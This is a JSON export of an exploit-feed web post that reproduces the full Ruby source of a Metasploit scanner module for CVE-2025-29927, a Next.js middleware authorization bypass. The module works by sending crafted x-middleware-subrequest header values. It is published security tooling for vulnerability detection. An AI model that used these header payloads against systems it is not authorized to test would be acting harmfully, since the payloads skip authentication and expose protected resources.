{"id":65509,"date":"2026-06-24T15:49:33","date_gmt":"2026-06-24T15:49:33","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=65509"},"modified":"2026-06-24T15:49:33","modified_gmt":"2026-06-24T15:49:33","slug":"nextjs-middleware-authorization-bypass-scanner","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=65509","title":{"rendered":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects self-hosted Next.js applications affected by CVE-2025-29927, an authorization bypass in the middleware layer. Next.js tags its own internal subrequests with the x-middleware-subrequest header and skips middleware when it sees it&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-24T19:04:51&#8243;,&#8221;modified&#8221;:&#8221;2026-06-24T19:04:51&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Next.js Middleware Authorization Bypass Scanner&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-29927&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Auxiliary::Scanner\\n  include Msf::Auxiliary::Report\\n\\n  # HTTP status codes that indicate the request was gated (blocked or redirected)\\n  # by middleware rather than served.\\n  GATE_CODES = [301, 302, 303, 307, 308, 401, 403].freeze\\n\\n  # x-middleware-subrequest values to try, covering Next.js 12.2 through 15.x.\\n  # Next.js \\u003e= ~13.2 only skips middleware once the middleware module name appears\\n  # five times (MAX_RECURSION_DEPTH); earlier lines accept a single occurrence, and\\n  # the \\&#8221;src\/\\&#8221; variants apply when middleware lives under a src\/ directory.\\n  PAYLOADS = [\\n    &#8216;middleware:middleware:middleware:middleware:middleware&#8217;,\\n    &#8216;src\/middleware:src\/middleware:src\/middleware:src\/middleware:src\/middleware&#8217;,\\n    &#8216;middleware&#8217;,\\n    &#8216;src\/middleware&#8217;,\\n    &#8216;pages\/_middleware&#8217;\\n  ].freeze\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Next.js Middleware Authorization Bypass Scanner&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module detects self-hosted Next.js applications affected by\\n          CVE-2025-29927, an authorization bypass in the middleware layer. Next.js\\n          tags its own internal subrequests with the x-middleware-subrequest header\\n          and skips middleware when it sees it. The header is trusted without\\n          verifying it originated internally, so an external client that supplies it\\n          causes middleware to be skipped entirely, bypassing any authentication,\\n          authorization, or redirects implemented there. Affected self-hosted\\n          versions are \\u003c 12.3.5, \\u003c 13.5.9, \\u003c 14.2.25, and \\u003c 15.2.3.\\n\\n          The module performs a differential check: it sends a baseline request to a\\n          user-supplied, normally middleware-gated path (expecting a redirect or a\\n          401\/403), then repeats the request with a crafted x-middleware-subrequest\\n          header. If the gate disappears (the protected resource is served, or the\\n          middleware redirect to login is gone), the target is reported vulnerable.\\n          This is detection only; the module does not act on the bypassed response.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Rachid Allam&#8217;, # vulnerability discovery (zhero)\\n          &#8216;Yasser Allam&#8217;, # vulnerability discovery (inzo)\\n          &#8216;Kenneth LaCroix&#8217; # Metasploit module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-29927&#8217;],\\n          [&#8216;GHSA&#8217;, &#8216;f82v-jwr5-mffw&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/projectdiscovery.io\/blog\/nextjs-middleware-authorization-bypass&#8217;]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-03-21&#8217;,\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        },\\n        &#8216;DefaultOptions&#8217; =\\u003e { &#8216;RPORT&#8217; =\\u003e 3000, &#8216;SSL&#8217; =\\u003e false }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;A path normally gated by Next.js middleware (e.g. an authenticated route that redirects to login)&#8217;, &#8216;\/dashboard&#8217;]),\\n        OptString.new(&#8216;SUBREQUEST_PAYLOAD&#8217;, [false, &#8216;Force a single x-middleware-subrequest value instead of trying the built-in list&#8217;, &#8221;])\\n      ]\\n    )\\n  end\\n\\n  def payloads\\n    forced = datastore[&#8216;SUBREQUEST_PAYLOAD&#8217;].to_s\\n    forced.empty? ? PAYLOADS : [forced]\\n  end\\n\\n  # Best-effort Next.js fingerprint, used for reporting only (the differential is the\\n  # authoritative signal; the header may be stripped by a proxy).\\n  def nextjs?(res)\\n    return false unless res\\n    return true if res.headers[&#8216;X-Powered-By&#8217;].to_s.include?(&#8216;Next.js&#8217;)\\n    return true if res.headers.keys.any? { |k| k.downcase.start_with?(&#8216;x-nextjs-&#8216;) }\\n\\n    res.body.to_s.include?(&#8216;\/_next\/static\/&#8217;)\\n  end\\n\\n  def describe_response(res)\\n    loc = res.headers[&#8216;location&#8217;].to_s\\n    loc.empty? ? \\&#8221;HTTP #{res.code}\\&#8221; : \\&#8221;HTTP #{res.code} -\\u003e #{loc}\\&#8221;\\n  end\\n\\n  def baseline_request\\n    send_request_cgi(&#8216;method&#8217; =\\u003e &#8216;GET&#8217;, &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path))\\n  end\\n\\n  # Returns { payload:, response: } for the first payload that defeats the gate,\\n  # or nil. Relative to the gated baseline, a bypass is detected when the middleware\\n  # gate no longer applies: either the response is no longer a gate status (e.g. the\\n  # protected page is served with 200), or it is still a redirect but to a different\\n  # target (the middleware login redirect is gone, e.g. trailing-slash normalization\\n  # to the real route). Comparing the Location avoids missing a same-status bypass.\\n  def bypassing_payload(baseline)\\n    base_loc = baseline.headers[&#8216;location&#8217;].to_s\\n    payloads.each do |payload|\\n      res = send_request_cgi(\\n        &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n        &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n        &#8216;headers&#8217; =\\u003e { &#8216;x-middleware-subrequest&#8217; =\\u003e payload }\\n      )\\n      next unless res\\n      next if res.code \\u003e= 500\\n\\n      gate_gone = !GATE_CODES.include?(res.code) \\u0026\\u0026 res.code != baseline.code\\n      redirect_changed = GATE_CODES.include?(res.code) \\u0026\\u0026\\n                         (res.code != baseline.code || res.headers[&#8216;location&#8217;].to_s != base_loc)\\n      return { payload: payload, response: res } if gate_gone || redirect_changed\\n    end\\n    nil\\n  end\\n\\n  def check_host(_ip)\\n    baseline = baseline_request\\n    return Exploit::CheckCode::Unknown(&#8216;No response to the baseline request&#8217;) unless baseline\\n    unless GATE_CODES.include?(baseline.code)\\n      return Exploit::CheckCode::Detected(\\&#8221;#{target_uri.path} is not middleware-gated (#{describe_response(baseline)}); set TARGETURI to a protected path\\&#8221;)\\n    end\\n\\n    hit = bypassing_payload(baseline)\\n    return Exploit::CheckCode::Safe(\\&#8221;#{target_uri.path} gated (#{describe_response(baseline)}); not bypassed\\&#8221;) if hit.nil?\\n\\n    Exploit::CheckCode::Vulnerable(\\&#8221;Middleware bypassed: #{describe_response(baseline)} -\\u003e #{describe_response(hit[:response])} with &#8216;#{hit[:payload]}&#8217;\\&#8221;)\\n  end\\n\\n  def run_host(_ip)\\n    baseline = baseline_request\\n    if baseline.nil?\\n      print_error(\\&#8221;#{peer} &#8211; No response to the baseline request on #{target_uri.path}\\&#8221;)\\n      return\\n    end\\n    unless GATE_CODES.include?(baseline.code)\\n      vprint_status(\\&#8221;#{peer} &#8211; #{target_uri.path} is not middleware-gated (#{describe_response(baseline)}); set TARGETURI to a protected path\\&#8221;)\\n      return\\n    end\\n    vprint_status(\\&#8221;#{peer} &#8211; Baseline #{describe_response(baseline)} on #{target_uri.path}#{nextjs?(baseline) ? &#8216; (Next.js detected)&#8217; : &#8221;}\\&#8221;)\\n\\n    hit = bypassing_payload(baseline)\\n    if hit.nil?\\n      print_status(\\&#8221;#{peer} &#8211; #{target_uri.path} gated (#{describe_response(baseline)}); not bypassed (patched or not Next.js middleware)\\&#8221;)\\n      return\\n    end\\n\\n    print_good(\\&#8221;#{peer} &#8211; Next.js middleware authorization bypass confirmed (CVE-2025-29927): #{describe_response(baseline)} -\\u003e #{describe_response(hit[:response])} with x-middleware-subrequest &#8216;#{hit[:payload]}&#8217;\\&#8221;)\\n    report_vuln(\\n      host: rhost,\\n      port: rport,\\n      name: name,\\n      info: \\&#8221;x-middleware-subrequest bypass on #{target_uri.path}; #{describe_response(baseline)} -\\u003e #{describe_response(hit[:response])}\\&#8221;,\\n      refs: references\\n    )\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/scanner\/http\/nextjs_middleware_auth_bypass.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/nextjs_middleware_auth_bypass\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects self-hosted Next.js applications affected by CVE-2025-29927, an authorization bypass in the middleware layer. Next.js tags its own internal subrequests with the x-middleware-subrequest&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,169,13,7,11,5],"class_list":["post-65509","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=65509\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects self-hosted Next.js applications affected by CVE-2025-29927, an authorization bypass in the middleware layer. Next.js tags its own internal subrequests with the x-middleware-subrequest...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=65509\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-24T15:49:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-\",\"datePublished\":\"2026-06-24T15:49:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509\"},\"wordCount\":1272,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65509#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509\",\"name\":\"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-24T15:49:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=65509\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=65509#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=65509","og_locale":"en_US","og_type":"article","og_title":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-24T19:36:58&#8243;,&#8221;description&#8221;:&#8221;This module detects self-hosted Next.js applications affected by CVE-2025-29927, an authorization bypass in the middleware layer. Next.js tags its own internal subrequests with the x-middleware-subrequest...","og_url":"https:\/\/zero.redgem.net\/?p=65509","og_site_name":"zero redgem","article_published_time":"2026-06-24T15:49:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=65509#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=65509"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-","datePublished":"2026-06-24T15:49:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=65509"},"wordCount":1272,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=65509#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=65509","url":"https:\/\/zero.redgem.net\/?p=65509","name":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-24T15:49:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=65509#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=65509"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=65509#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Next.js Middleware Authorization Bypass Scanner_MSF:AUXILIARY-SCANNER-HTTP-NEXTJS_MIDDLEWARE_AUTH_BYPASS-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65509","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=65509"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/65509\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=65509"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=65509"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=65509"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}